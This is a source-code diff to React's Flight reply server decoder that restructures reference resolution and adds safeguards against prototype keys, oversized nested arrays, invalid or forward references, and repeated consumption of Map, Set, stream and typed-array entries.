+  const blockedPromise: BlockedChunk<T> = new ReactPromise(BLOCKED, null, null);
+  (metaData: any).$$promise = blockedPromise;
+
   const serverReference: ServerReference<T> =
     resolveServerReference<$FlowFixMe>(response._bundlerConfig, id);
   // We expect most servers to not really need this because you'd just have all
   // the relevant modules already loaded but it allows for lazy loading of code
   // if needed.
-  const preloadPromise = preloadModule(serverReference);
-  let promise: Promise<T>;
-  if (bound) {
-    promise = Promise.all([(bound: any), preloadPromise]).then(
-      ([args]: Array<any>) => bindArgs(requireModule(serverReference), args),
-    );
-  } else {
-    if (preloadPromise) {
-      promise = Promise.resolve(preloadPromise).then(() =>
-        requireModule(serverReference),
-      );
+  const bound = metaData.bound;
+  let serverReferencePromise: null | Thenable<any> =
+    preloadModule(serverReference);
+  if (!serverReferencePromise) {
+    if (bound instanceof ReactPromise) {
+      serverReferencePromise = Promise.resolve(bound);
     } else {
-      // Synchronously available
-      return requireModule(serverReference);
+      const resolvedValue = (requireModule(serverReference): any);
+      // Resolve the cached promise synchronously.
+      const initializedPromise: InitializedChunk<T> = (blockedPromise: any);
+      initializedPromise.status = INITIALIZED;
+      initializedPromise.value = resolvedValue;
+      initializedPromise.reason = null;
+      return resolvedValue;
     }
+  } else if (bound instanceof ReactPromise) {
+    serverReferencePromise = Promise.all([serverReferencePromise, bound]);
   }
-  promise.then(
-    createModelResolver(
-      parentChunk,
-      parentObject,
-      key,
-      false,
-      response,
-      createModel,
-      [],
-    ),
-    createModelReject(parentChunk),
-  );
-  // We need a placeholder value that will be replaced later.
+
+  let handler: InitializationHandler;
+  if (initializingHandler) {
+    handler = initializingHandler;
+    handler.deps++;
+  } else {
+    handler = initializingHandler = {
+      chunk: null,
+      value: null,
+      reason: null,
+      deps: 1,
+      errored: false,
+    };
+  }
+
+  function fulfill(): void {
+    let resolvedValue = (requireModule(serverReference): any);
+
+    if (metaData.bound) {
+      // This promise is coming from us and should have initialized by now.
+      const promiseValue = (metaData.bound: any).value;
+      const boundArgs: Array<any> = isArray(promiseValue)
+        ? promiseValue.slice(0)
+        : [];
+      if (boundArgs.length > MAX_BOUND_ARGS) {
+        reject(
+          new Error(
+            'Server Function has too many bound arguments. Received ' +
+              boundArgs.length +
+              ' but the limit is ' +
+              MAX_BOUND_ARGS +
+              '.',
+          ),
+        );
+        return;
+      }
+      boundArgs.unshift(null); // this
+      resolvedValue = resolvedValue.bind.apply(resolvedValue, boundArgs);
+    }
+
+    // Resolve the cached promise so subsequent references can use the value.
+    const resolveListeners = blockedPromise.value;
+    const initializedPromise: InitializedChunk<T> = (blockedPromise: any);
+    initializedPromise.status = INITIALIZED;
+    initializedPromise.value = resolvedValue;
+    initializedPromise.reason = null;
+    if (resolveListeners !== null) {
+      // Notify any resolve listeners that were added via .then() from
+      // subsequent loadServerReference calls for the same reference.
+      wakeChunk(response, resolveListeners, resolvedValue, initializedPromise);
+    }
+
+    resolveReference(response, handler, parentObject, key, resolvedValue);
+  }
+
+  function reject(error: mixed): void {
+    // Mark the cached promise as errored so subsequent references fail too.
+    const rejectListeners = blockedPromise.reason;
+    const erroredPromise: ErroredChunk<T> = (blockedPromise: any);
+    erroredPromise.status = ERRORED;
+    erroredPromise.value = null;
+    erroredPromise.reason = error;
+    if (rejectListeners !== null) {
+      // Notify any reject listeners that were added via .then() from subsequent
+      // loadServerReference calls for the same reference.
+      rejectChunk(response, rejectListeners, error);
+    }
+
+    rejectReference(response, handler, error);
+  }
+
+  serverReferencePromise.then(fulfill, reject);
+
+  // Return a place holder value for now.
   return (null: any);
 }
 
@@ -387,10 +567,18 @@ function reviveModel(
   parentKey: string,
   value: JSONValue,
   reference: void | string,
+  arrayRoot: null | NestedArrayContext,
 ): any {
   if (typeof value === 'string') {
     // We can't use .bind here because we need the "this" value.
-    return parseModelString(response, parentObj, parentKey, value, reference);
+    return parseModelString(
+      response,
+      parentObj,
+      parentKey,
+      value,
+      reference,
+      arrayRoot,
+    );
   }
   if (typeof value === 'object' && value !== null) {
     if (
@@ -404,16 +592,42 @@ function reviveModel(
         reference,
       );
     }
-    if (Array.isArray(value)) {
+    if (isArray(value)) {
+      let childContext: NestedArrayContext;
+      if (arrayRoot === null) {
+        childContext = ({
+          count: 0,
+          fork: false,
+        }: NestedArrayContext);
+        response._rootArrayContexts.set(value, childContext);
+      } else {
+        childContext = arrayRoot;
+      }
+      if (value.length > 1) {
+        childContext.fork = true;
+      }
+      bumpArrayCount(childContext, value.length + 1, response);
       for (let i = 0; i < value.length; i++) {
         const childRef =
           reference !== undefined ? reference + ':' + i : undefined;
         // $FlowFixMe[cannot-write]
-        value[i] = reviveModel(response, value, '' + i, value[i], childRef);
+        value[i] = reviveModel(
+          response,
+          value,
+          '' + i,
+          value[i],
+          childRef,
+          childContext,
+        );
       }
     } else {
       for (const key in value) {
         if (hasOwnProperty.call(value, key)) {
+          if (key === __PROTO__) {
+            // $FlowFixMe[cannot-write]
+            delete value[key];
+            continue;
+          }
           const childRef =
             reference !== undefined && key.indexOf(':') === -1
               ? reference + ':' + key
@@ -424,6 +638,7 @@ function reviveModel(
             key,
             value[key],
             childRef,
+            null, // The array context resets when we're entering a non-array
           );
           if (newValue !== undefined) {
             // $FlowFixMe[cannot-write]
@@ -439,74 +654,144 @@ function reviveModel(
   return value;
 }
 
-let initializingChunk: ResolvedModelChunk<any> = (null: any);
-let initializingChunkBlockedModel: null | {deps: number, value: any} = null;
+type NestedArrayContext = {
+  // Keeps track of how many slots, bytes or characters are in nested arrays/strings/typed arrays.
+  count: number,
+  // A single child is itself not harmful. There needs to be at least one parent array with more
+  // than one child.
+  fork: boolean,
+};
+
+function bumpArrayCount(
+  arrayContext: NestedArrayContext,
+  slots: number,
+  response: Response,
+): void {
+  const newCount = (arrayContext.count += slots);
+  if (newCount > response._arraySizeLimit && arrayContext.fork) {
+    throw new Error(
+      'Maximum array nesting exceeded. Large nested arrays can be dangerous. Try adding intermediate objects.',
+    );
+  }
+}
+
+type InitializationReference = {
+  handler: InitializationHandler,
+  parentObject: Object,
+  key: string,
+  map: (
+    response: Response,
+    model: any,
+    parentObject: Object,
+    key: string,
+  ) => any,
+  path: Array<string>,
+  arrayRoot: null | NestedArrayContext,
+};
+type InitializationHandler = {
+  chunk: null | BlockedChunk<any>,
+  value: any,
+  reason: any,
+  deps: number,
+  errored: boolean,
+};
+let initializingHandler: null | InitializationHandler = null;
+
 function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
-  const prevChunk = initializingChunk;
-  const prevBlocked = initializingChunkBlockedModel;
-  initializingChunk = chunk;
-  initializingChunkBlockedModel = null;
+  const prevHandler = initializingHandler;
+  initializingHandler = null;
+
+  const {[RESPONSE_SYMBOL]: response, id} = chunk.reason;
 
-  const rootReference =
-    chunk.reason === -1 ? undefined : chunk.reason.toString(16);
+  const rootReference = id === -1 ? undefined : id.toString(16);
 
   const resolvedModel = chunk.value;
 
-  // We go to the CYCLIC state until we've fully resolved this.
+  // We go to the BLOCKED state until we've fully resolved this.
   // We do this before parsing in case we try to initialize the same chunk
   // while parsing the model. Such as in a cyclic reference.
-  const cyclicChunk: CyclicChunk<T> = (chunk: any);
-  cyclicChunk.status = CYCLIC;
+  const cyclicChunk: BlockedChunk<T> = (chunk: any);
+  cyclicChunk.status = BLOCKED;
   cyclicChunk.value = null;
   cyclicChunk.reason = null;
 
   try {
     const rawModel = JSON.parse(resolvedModel);
 
+    // The root might not be an array but if it is we want to track the count of entries.
+    const arrayRoot: NestedArrayContext = {
+      count: 0,
+      fork: false,
+    };
+
     const value: T = reviveModel(
-      chunk._response,
+      response,
       {'': rawModel},
       '',
       rawModel,
       rootReference,
+      arrayRoot,
     );
-    if (
-      initializingChunkBlockedModel !== null &&
-      initializingChunkBlockedModel.deps > 0
-    ) {
-      initializingChunkBlockedModel.value = value;
-      // We discovered new dependencies on modules that are not yet resolved.
-      // We have to go the BLOCKED state until they're resolved.
-      const blockedChunk: BlockedChunk<T> = (chunk: any);
-      blockedChunk.status = BLOCKED;
-    } else {
-      const resolveListeners = cyclicChunk.value;
-      const initializedChunk: InitializedChunk<T> = (chunk: any);
-      initializedChunk.status = INITIALIZED;
-      initializedChunk.value = value;
-      if (resolveListeners !== null) {
-        wakeChunk(resolveListeners, value);
+
+    // Invoke any listeners added while resolving this model. I.e. cyclic
+    // references. This may or may not fully resolve the model depending on
+    // if they were blocked.
+    const resolveListeners = cyclicChunk.value;
+    if (resolveListeners !== null) {
+      cyclicChunk.value = null;
+      cyclicChunk.reason = null;
+      for (let i = 0; i < resolveListeners.length; i++) {
+        const listener = resolveListeners[i];
+        if (typeof listener === 'function') {
+          listener(value);
+        } else {
+          fulfillReference(response, listener, value, arrayRoot);
+        }
+      }
+    }
+    if (initializingHandler !== null) {
+      if (initializingHandler.errored) {
+        throw initializingHandler.reason;
+      }
+      if (initializingHandler.deps > 0) {
+        // We discovered new dependencies on modules that are not yet resolved.
+        // We have to keep the BLOCKED state until they're resolved.
+        initializingHandler.value = value;
+        initializingHandler.reason = arrayRoot;
+        initializingHandler.chunk = cyclicChunk;
+        return;
       }
     }
+    const initializedChunk: InitializedChunk<T> = (chunk: any);
+    initializedChunk.status = INITIALIZED;
+    initializedChunk.value = value;
+    initializedChunk.reason = arrayRoot;
   } catch (error) {
     const erroredChunk: ErroredChunk<T> = (chunk: any);
     erroredChunk.status = ERRORED;
     erroredChunk.reason = error;
   } finally {
-    initializingChunk = prevChunk;
-    initializingChunkBlockedModel = prevBlocked;
+    initializingHandler = prevHandler;
   }
 }
 
 // Report that any missing chunks in the model is now going to throw this
 // error upon read. Also notify any pending promises.
 export function reportGlobalError(response: Response, error: Error): void {
+  response._closed = true;
+  response._closedReason = error;
   response._chunks.forEach(chunk => {
     // If this chunk was already resolved or errored, it won't
     // trigger an error but if it wasn't then we need to
     // because we won't be getting any new data to resolve it.
     if (chunk.status === PENDING) {
-      triggerErrorOnChunk(chunk, error);
+      triggerErrorOnChunk(response, chunk, error);
+    } else if (chunk.status === INITIALIZED && chunk.reason !== null) {
+      const maybeController = chunk.reason;
+      // $FlowFixMe
+      if (typeof maybeController.error === 'function') {
+        maybeController.error(error);
+      }
     }
   });
 }
@@ -519,9 +804,12 @@ function getChunk(response: Response, id: number): SomeChunk<any> {
     const key = prefix + id;
     // Check if we have this field in the backing store already.
     const backingEntry = response._formData.get(key);
-    if (backingEntry != null) {
-      // We assume that this is a string entry for now.
-      chunk = createResolvedModelChunk(response, (backingEntry: any), id);
+    if (typeof backingEntry === 'string') {
+      chunk = createResolvedModelChunk(response, backingEntry, id);
+    } else if (response._closed) {
+      // We have already errored the response and we're not going to get
+      // anything more streaming in so this will immediately error.
+      chunk = createErroredChunk(response, response._closedReason);
     } else {
       // We're still waiting on this entry to stream in.
       chunk = createPendingChunk(response);
@@ -531,57 +819,186 @@ function getChunk(response: Response, id: number): SomeChunk<any> {
   return chunk;
 }
 
-function createModelResolver<T>(
-  chunk: SomeChunk<T>,
+function fulfillReference(
+  response: Response,
+  reference: InitializationReference,
+  value: any,
+  arrayRoot: null | NestedArrayContext,
+): void {
+  const {handler, parentObject, key, map, path} = reference;
+
+  let resolvedValue;
+  try {
+    let localLength: number = 0;
+    const rootArrayContexts = response._rootArrayContexts;
+    for (let i = 1; i < path.length; i++) {
+      // The server doesn't have any lazy references so we don't expect to go through a Promise.
+      const name = path[i];
+      if (
+        typeof value === 'object' &&
+        value !== null &&
+        (getPrototypeOf(value) === ObjectPrototype ||
+          getPrototypeOf(value) === ArrayPrototype) &&
+        hasOwnProperty.call(value, name)
+      ) {
+        value = value[name];
+        if (isArray(value)) {
+          localLength = 0;
+          arrayRoot = rootArrayContexts.get(value) || arrayRoot;
+        } else {
+          arrayRoot = null;
+          if (typeof value === 'string') {
+            localLength = value.length;
+          } else if (typeof value === 'bigint') {
+            // Estimate the length to avoid expensive toString() calls on large
+            // BigInt values. If the value is too large, we get Infinity, which
+            // will trigger the array size limit error.
+            // eslint-disable-next-line react-internal/no-primitive-constructors
+            const n = Math.abs(Number(value));
+            if (n === 0) {
+              localLength = 1;
+            } else {
+              localLength = Math.floor(Math.log10(n)) + 1;
+            }
+          } else if (ArrayBuffer.isView(value)) {
+            localLength = value.byteLength;
+          } else {
+            localLength = 0;
+          }
+        }
+      } else {
+        throw new Error('Invalid reference.');
+      }
+    }
+
+    resolvedValue = map(response, value, parentObject, key);
+
+    // Add any array counts to the reference's array root. The value that we're
+    // resolving might have deep nesting that we need to resolve.
+    const referenceArrayRoot = reference.arrayRoot;
+    if (referenceArrayRoot !== null) {
+      if (arrayRoot !== null) {
+        if (arrayRoot.fork) {
+          referenceArrayRoot.fork = true;
+        }
+        bumpArrayCount(referenceArrayRoot, arrayRoot.count, response);
+      } else if (localLength > 0) {
+        bumpArrayCount(referenceArrayRoot, localLength, response);
+      }
+    }
+  } catch (error) {
+    rejectReference(response, handler, error);
+    return;
+  }
+
+  // There are no Elements or Debug Info to transfer here.
+
+  resolveReference(response, handler, parentObject, key, resolvedValue);
+}
+
+function resolveReference(
+  response: Response,
+  handler: InitializationHandler,
   parentObject: Object,
   key: string,
-  cyclic: boolean,
+  resolvedValue: mixed,
+): void {
+  if (key !== __PROTO__) {
+    parentObject[key] = resolvedValue;
+  }
+
+  // If this is the root object for a model reference, where `handler.value`
+  // is a stale `null`, the resolved value can be used directly.
+  if (key === '' && handler.value === null) {
+    handler.value = resolvedValue;
+  }
+
+  handler.deps--;
+
+  if (handler.deps === 0) {
+    const chunk = handler.chunk;
+    if (chunk === null || chunk.status !== BLOCKED) {
+      return;
+    }
+    const resolveListeners = chunk.value;
+    const initializedChunk: InitializedChunk<any> = (chunk: any);
+    initializedChunk.status = INITIALIZED;
+    initializedChunk.value = handler.value;
+    initializedChunk.reason = handler.reason; // Used by streaming chunks
+    if (resolveListeners !== null) {
+      wakeChunk(response, resolveListeners, handler.value, initializedChunk);
+    }
+  }
+}
+
+function rejectReference(
   response: Response,
-  map: (response: Response, model: any) => T,
+  handler: InitializationHandler,
+  error: mixed,
+): void {
+  if (handler.errored) {
+    // We've already errored. We could instead build up an AggregateError
+    // but if there are multiple errors we just take the first one like
+    // Promise.all.
+    return;
+  }
+  handler.errored = true;
+  handler.value = null;
+  handler.reason = error;
+  const chunk = handler.chunk;
+  if (chunk === null || chunk.status !== BLOCKED) {
+    return;
+  }
+  // There's no debug info to forward in this direction.
+  triggerErrorOnChunk(response, chunk, error);
+}
+
+function waitForReference<T>(
+  response: Response,
+  referencedChunk: BlockedChunk<T>,
+  parentObject: Object,
+  key: string,
+  arrayRoot: null | NestedArrayContext,
+  map: (response: Response, model: any, parentObject: Object, key: string) => T,
   path: Array<string>,
-): (value: any) => void {
-  let blocked;
-  if (initializingChunkBlockedModel) {
-    blocked = initializingChunkBlockedModel;
-    if (!cyclic) {
-      blocked.deps++;
-    }
+): T {
+  let handler: InitializationHandler;
+  if (initializingHandler) {
+    handler = initializingHandler;
+    handler.deps++;
   } else {
-    blocked = initializingChunkBlockedModel = {
-      deps: cyclic ? 0 : 1,
-      value: (null: any),
+    handler = initializingHandler = {
+      chunk: null,
+      value: null,
+      reason: null,
+      deps: 1,
+      errored: false,
     };
   }
-  return value => {
-    for (let i = 1; i < path.length; i++) {
-      value = value[path[i]];
-    }
-    parentObject[key] = map(response, value);
-
-    // If this is the root object for a model reference, where `blocked.value`
-    // is a stale `null`, the resolved value can be used directly.
-    if (key === '' && blocked.value === null) {
-      blocked.value = parentObject[key];
-    }
 
-    blocked.deps--;
-    if (blocked.deps === 0) {
-      if (chunk.status !== BLOCKED) {
-        return;
-      }
-      const resolveListeners = chunk.value;
-      const initializedChunk: InitializedChunk<T> = (chunk: any);
-      initializedChunk.status = INITIALIZED;
-      initializedChunk.value = blocked.value;
-      if (resolveListeners !== null) {
-        wakeChunk(resolveListeners, blocked.value);
-      }
-    }
+  const reference: InitializationReference = {
+    handler,
+    parentObject,
+    key,
+    map,
+    path,
+    arrayRoot,
   };
-}
 
-function createModelReject<T>(chunk: SomeChunk<T>): (error: mixed) => void {
-  return (error: mixed) => triggerErrorOnChunk(chunk, error);
+  // Add "listener".
+  if (referencedChunk.value === null) {
+    referencedChunk.value = [reference];
+  } else {
+    referencedChunk.value.push(reference);
+  }
+  if (referencedChunk.reason === null) {
+    referencedChunk.reason = [reference];
+  } else {
+    referencedChunk.reason.push(reference);
+  }
+
+  // Return a place holder value for now.
+  return (null: any);
 }
 
 function getOutlinedModel<T>(
@@ -589,7 +1006,8 @@ function getOutlinedModel<T>(
   reference: string,
   parentObject: Object,
   key: string,
-  map: (response: Response, model: any) => T,
+  referenceArrayRoot: null | NestedArrayContext,
+  map: (response: Response, model: any, parentObject: Object, key: string) => T,
 ): T {
   const path = reference.split(':');
   const id = parseInt(path[0], 16);
@@ -603,29 +1021,95 @@ function getOutlinedModel<T>(
   switch (chunk.status) {
     case INITIALIZED:
       let value = chunk.value;
+      let arrayRoot: null | NestedArrayContext = chunk.reason;
+      let localLength: number = 0;
+      const rootArrayContexts = response._rootArrayContexts;
       for (let i = 1; i < path.length; i++) {
-        value = value[path[i]];
+        const name = path[i];
+        if (
+          typeof value === 'object' &&
+          value !== null &&
+          (getPrototypeOf(value) === ObjectPrototype ||
+            getPrototypeOf(value) === ArrayPrototype) &&
+          hasOwnProperty.call(value, name)
+        ) {
+          value = value[name];
+          if (isArray(value)) {
+            localLength = 0;
+            arrayRoot = rootArrayContexts.get(value) || arrayRoot;
+          } else {
+            arrayRoot = null;
+            if (typeof value === 'string') {
+              localLength = value.length;
+            } else if (typeof value === 'bigint') {
+              // Estimate the length to avoid expensive toString() calls on large
+              // BigInt values. If the value is too large, we get Infinity, which
+              // will trigger the array size limit error.
+              // eslint-disable-next-line react-internal/no-primitive-constructors
+              const n = Math.abs(Number(value));
+              if (n === 0) {
+                localLength = 1;
+              } else {
+                localLength = Math.floor(Math.log10(n)) + 1;
+              }
+            } else if (ArrayBuffer.isView(value)) {
+              localLength = value.byteLength;
+            } else {
+              localLength = 0;
+            }
+          }
+        } else {
+          throw new Error('Invalid reference.');
+        }
       }
-      return map(response, value);
-    case PENDING:
+      const chunkValue = map(response, value, parentObject, key);
+
+      // Add any array counts to the reference's array root. The value that we're
+      // resolving might have deep nesting that we need to resolve.
+      if (referenceArrayRoot !== null) {
+        if (arrayRoot !== null) {
+          if (arrayRoot.fork) {
+            referenceArrayRoot.fork = true;
+          }
+          bumpArrayCount(referenceArrayRoot, arrayRoot.count, response);
+        } else if (localLength > 0) {
+          bumpArrayCount(referenceArrayRoot, localLength, response);
+        }
+      }
+      // There's no Element nor Debug Info in the ReplyServer so we don't have to check those here.
+      return chunkValue;
     case BLOCKED:
-    case CYCLIC:
-      const parentChunk = initializingChunk;
-      chunk.then(
-        createModelResolver(
-          parentChunk,
-          parentObject,
-          key,
-          chunk.status === CYCLIC,
-          response,
-          map,
-          path,
-        ),
-        createModelReject(parentChunk),
+      return waitForReference(
+        response,
+        chunk,
+        parentObject,
+        key,
+        referenceArrayRoot,
+        map,
+        path,
       );
-      return (null: any);
+    case PENDING:
+      // If we don't have the referenced chunk yet, then this must be a forward reference,
+      // which is not allowed.
+      throw new Error('Invalid forward reference.');
     default:
-      throw chunk.reason;
+      // This is an error. Instead of erroring directly, we're going to encode this on
+      // an initialization handler.
+      if (initializingHandler) {
+        initializingHandler.errored = true;
+        initializingHandler.value = null;
+        initializingHandler.reason = chunk.reason;
+      } else {
+        initializingHandler = {
+          chunk: null,
+          value: null,
+          reason: chunk.reason,
+          deps: 0,
+          errored: true,
+        };
+      }
+      // Placeholder
+      return (null: any);
   }
 }
 
@@ -633,59 +1117,169 @@ function createMap(
   response: Response,
   model: Array<[any, any]>,
 ): Map<any, any> {
-  return new Map(model);
+  if (!isArray(model)) {
+    throw new Error('Invalid Map initializer.');
+  }
+  if ((model as any).$$consumed === true) {
+    throw new Error('Already initialized Map.');
+  }
+  // This needs to come first to prevent the model from being consumed again in case of a cyclic reference.
+  (model as any).$$consumed = true;
+  const map = new Map(model);
+  return map;
 }
 
 function createSet(response: Response, model: Array<any>): Set<any> {
-  return new Set(model);
+  if (!isArray(model)) {
+    throw new Error('Invalid Set initializer.');
+  }
+  if ((model as any).$$consumed === true) {
+    throw new Error('Already initialized Set.');
+  }
+  // This needs to come first to prevent the model from being consumed again in case of a cyclic reference.
+  (model as any).$$consumed = true;
+  const set = new Set(model);
+  return set;
 }
 
 function extractIterator(response: Response, model: Array<any>): Iterator<any> {
+  if (!isArray(model)) {
+    throw new Error('Invalid Iterator initializer.');
+  }
+  if ((model as any).$$consumed === true) {
+    throw new Error('Already initialized Iterator.');
+  }
+  // This needs to come first to prevent the model from being consumed again in case of a cyclic reference.
+  (model as any).$$consumed = true;
   // $FlowFixMe[incompatible-use]: This uses raw Symbols because we're extracting from a native array.
-  return model[Symbol.iterator]();
+  const iterator = model[Symbol.iterator]();
+  return iterator;
 }
 
-function createModel(response: Response, model: any): any {
+function createModel(
+  response: Response,
+  model: any,
+  parentObject: Object,
+  key: string,
+): any {
+  if (key === 'then' && typeof model === 'function') {
+    // This should never happen because we always serialize objects with then-functions
+    // as "thenable" which reduces to ReactPromise with no other fields.
+    return null;
+  }
   return model;
 }
 
-function parseTypedArray(
+function parseTypedArray<T: $ArrayBufferView | ArrayBuffer>(
   response: Response,
   reference: string,
   constructor: any,
   bytesPerElement: number,
   parentObject: Object,
   parentKey: string,
+  referenceArrayRoot: null | NestedArrayContext,
 ): null {
   const id = parseInt(reference.slice(2), 16);
   const prefix = response._prefix;
   const key = prefix + id;
+  const chunks = response._chunks;
+  if (chunks.has(id)) {
+    throw new Error('Already initialized typed array.');
+  }
+  chunks.set(
+    id,
+    // We don't need to put the actual Blob in the chunk,
+    // because it shouldn't be accessed by anything else.
+    createErroredChunk(response, new Error('Already initialized typed array.')),
+  );
+
   // We should have this backingEntry in the store already because we emitted
   // it before referencing it. It should be a Blob.
   const backingEntry: Blob = (response._formData.get(key): any);
 
-  const promise =
-    constructor === ArrayBuffer
-      ? backingEntry.arrayBuffer()
-      : backingEntry.arrayBuffer().then(function (buffer) {
-          return new constructor(buffer);
-        });
+  const promise: Promise<ArrayBuffer> = backingEntry.arrayBuffer();
 
   // Since loading the buffer is an async operation we'll be blocking the parent
   // chunk.
-  const parentChunk = initializingChunk;
-  promise.then(
-    createModelResolver(
-      parentChunk,
-      parentObject,
-      parentKey,
-      false,
-      response,
-      createModel,
-      [],
-    ),
-    createModelReject(parentChunk),
-  );
+
+  let handler: InitializationHandler;
+  if (initializingHandler) {
+    handler = initializingHandler;
+    handler.deps++;
+  } else {
+    handler = initializingHandler = {
+      chunk: null,
+      value: null,
+      reason: null,
+      deps: 1,
+      errored: false,
+    };
+  }
+
+  function fulfill(buffer: ArrayBuffer): void {
+    try {
+      if (referenceArrayRoot !== null) {
+        bumpArrayCount(referenceArrayRoot, buffer.byteLength, response);
+      }
+
+      const resolvedValue: T =
+        constructor === ArrayBuffer
+          ? (buffer: any)
+          : (new constructor(buffer): any);
+
+      if (key !== __PROTO__) {
+        parentObject[parentKey] = resolvedValue;
+      }
+
+      // If this is the root object for a model reference, where `handler.value`
+      // is a stale `null`, the resolved value can be used directly.
+      if (parentKey === '' && handler.value === null) {
+        handler.value = resolvedValue;
+      }
+    } catch (x) {
+      reject(x);
+      return;
+    }
+
+    handler.deps--;
+
+    if (handler.deps === 0) {
+      const chunk = handler.chunk;
+      if (chunk === null || chunk.status !== BLOCKED) {
+        return;
+      }
+      const resolveListeners = chunk.value;
+      const initializedChunk: InitializedChunk<T> = (chunk: any);
+      initializedChunk.status = INITIALIZED;
+      initializedChunk.value = handler.value;
+      // We don't keep an array count for this since it won't be referenced again.
+      // In fact, we don't really need to store this chunk at all.
+      initializedChunk.reason = null;
+      if (resolveListeners !== null) {
+        wakeChunk(response, resolveListeners, handler.value, initializedChunk);
+      }
+    }
+  }
+
+  function reject(error: mixed): void {
+    if (handler.errored) {
+      // We've already errored. We could instead build up an AggregateError
+      // but if there are multiple errors we just take the first one like
+      // Promise.all.
+      return;
+    }
+    handler.errored = true;
+    handler.value = null;
+    handler.reason = error;
+    const chunk = handler.chunk;
+    if (chunk === null || chunk.status !== BLOCKED) {
+      return;
+    }
+    triggerErrorOnChunk(response, chunk, error);
+  }
+
+  promise.then(fulfill, reject);
+
   return null;
 }
 
@@ -703,12 +1297,13 @@ function resolveStream<T: ReadableStream | $AsyncIterable<any, any, void>>(
   const key = prefix + id;
   const existingEntries = response._formData.getAll(key);
   for (let i = 0; i < existingEntries.length; i++) {
-    // We assume that this is a string entry for now.
-    const value: string = (existingEntries[i]: any);
-    if (value[0] === 'C') {
-      controller.close(value === 'C' ? '"$undefined"' : value.slice(1));
-    } else {
-      controller.enqueueModel(value);
+    const value = existingEntries[i];
+    if (typeof value === 'string') {
+      if (value[0] === 'C') {
+        controller.close(value === 'C' ? '"$undefined"' : value.slice(1));
+      } else {
+        controller.enqueueModel(value);
+      }
     }
   }
 }
@@ -721,8 +1316,13 @@ function parseReadableStream<T>(
   parentKey: string,
 ): ReadableStream {
   const id = parseInt(reference.slice(2), 16);
+  const chunks = response._chunks;
+  if (chunks.has(id)) {
+    throw new Error('Already initialized stream.');
+  }
 
   let controller: ReadableStreamController = (null: any);
+  let closed = false;
   const stream = new ReadableStream({
     type: type,
     start(c) {
@@ -730,6 +1330,13 @@ function parseReadableStream<T>(
     },
   });
   let previousBlockedChunk: SomeChunk<T> | null = null;
+  function enqueue(value: T): void {
+    if (type === 'bytes' && !ArrayBuffer.isView(value)) {
+      flightController.error(new Error('Invalid data for bytes stream.'));
+      return;
+    }
+    controller.enqueue(value);
+  }
   const flightController = {
     enqueueModel(json: string): void {
       if (previousBlockedChunk === null) {
@@ -743,22 +1350,16 @@ function parseReadableStream<T>(
         initializeModelChunk(chunk);
         const initializedChunk: SomeChunk<T> = chunk;
         if (initializedChunk.status === INITIALIZED) {
-          controller.enqueue(initializedChunk.value);
+          enqueue(initializedChunk.value);
         } else {
-          chunk.then(
-            v => controller.enqueue(v),
-            e => controller.error((e: any)),
-          );
+          chunk.then(enqueue, flightController.error);
           previousBlockedChunk = chunk;
         }
       } else {
         // We're still waiting on a previous chunk so we can't enqueue quite yet.
         const blockedChunk = previousBlockedChunk;
         const chunk: SomeChunk<T> = createPendingChunk(response);
-        chunk.then(
-          v => controller.enqueue(v),
-          e => controller.error((e: any)),
-        );
+        chunk.then(enqueue, flightController.error);
         previousBlockedChunk = chunk;
         blockedChunk.then(function () {
           if (previousBlockedChunk === chunk) {
@@ -766,11 +1367,15 @@ function parseReadableStream<T>(
             // to synchronous emitting.
             previousBlockedChunk = null;
           }
-          resolveModelChunk(chunk, json, -1);
+          resolveModelChunk(response, chunk, json, -1);
         });
       }
     },
     close(json: string): void {
+      if (closed) {
+        return;
+      }
+      closed = true;
       if (previousBlockedChunk === null) {
         controller.close();
       } else {
@@ -781,6 +1386,10 @@ function parseReadableStream<T>(
       }
     },
     error(error: mixed): void {
+      if (closed) {
+        return;
+      }
+      closed = true;
       if (previousBlockedChunk === null) {
         // $FlowFixMe[incompatible-call]
         controller.error(error);
@@ -796,24 +1405,23 @@ function parseReadableStream<T>(
   return stream;
 }
 
-function asyncIterator(this: $AsyncIterator<any, any, void>) {
+function FlightIterator(
+  this: {next: (arg: void) => SomeChunk<IteratorResult<any, any>>, ...},
+  next: (arg: void) => SomeChunk<IteratorResult<any, any>>,
+) {
+  this.next = next;
+  // TODO: Add return/throw as options for aborting.
+}
+// TODO: The iterator could inherit the AsyncIterator prototype which is not exposed as
+// a global but exists as a prototype of an AsyncGenerator. However, it's not needed
+// to satisfy the iterable protocol.
+FlightIterator.prototype = ({}: any);
+FlightIterator.prototype[ASYNC_ITERATOR] = function asyncIterator(
+  this: $AsyncIterator<any, any, void>,
+) {
   // Self referencing iterator.
   return this;
-}
-
-function createIterator<T>(
-  next: (arg: void) => SomeChunk<IteratorResult<T, T>>,
-): $AsyncIterator<T, T, void> {
-  const iterator: any = {
-    next: next,
-    // TODO: Add return/throw as options for aborting.
-  };
-  // TODO: The iterator could inherit the AsyncIterator prototype which is not exposed as
-  // a global but exists as a prototype of an AsyncGenerator. However, it's not needed
-  // to satisfy the iterable protocol.
-  (iterator: any)[ASYNC_ITERATOR] = asyncIterator;
-  return iterator;
-}
+};
 
 function parseAsyncIterable<T>(
   response: Response,
@@ -823,6 +1431,10 @@ function parseAsyncIterable<T>(
   parentKey: string,
 ): $AsyncIterable<T, T, void> | $AsyncIterator<T, T, void> {
   const id = parseInt(reference.slice(2), 16);
+  const chunks = response._chunks;
+  if (chunks.has(id)) {
+    throw new Error('Already initialized stream.');
+  }
 
   const buffer: Array<SomeChunk<IteratorResult<T, T>>> = [];
   let closed = false;
@@ -836,11 +1448,19 @@ function parseAsyncIterable<T>(
           false,
         );
       } else {
-        resolveIteratorResultChunk(buffer[nextWriteIndex], value, false);
+        resolveIteratorResultChunk(
+          response,
+          buffer[nextWriteIndex],
+          value,
+          false,
+        );
       }
       nextWriteIndex++;
     },
     close(value: string): void {
+      if (closed) {
+        return;
+      }
       closed = true;
       if (nextWriteIndex === buffer.length) {
         buffer[nextWriteIndex] = createResolvedIteratorResultChunk(
@@ -849,12 +1469,18 @@ function parseAsyncIterable<T>(
           true,
         );
       } else {
-        resolveIteratorResultChunk(buffer[nextWriteIndex], value, true);
+        resolveIteratorResultChunk(
+          response,
+          buffer[nextWriteIndex],
+          value,
+          true,
+        );
       }
       nextWriteIndex++;
       while (nextWriteIndex < buffer.length) {
         // In generators, any extra reads from the iterator have the value undefined.
         resolveIteratorResultChunk(
+          response,
           buffer[nextWriteIndex++],
           '"$undefined"',
           true,
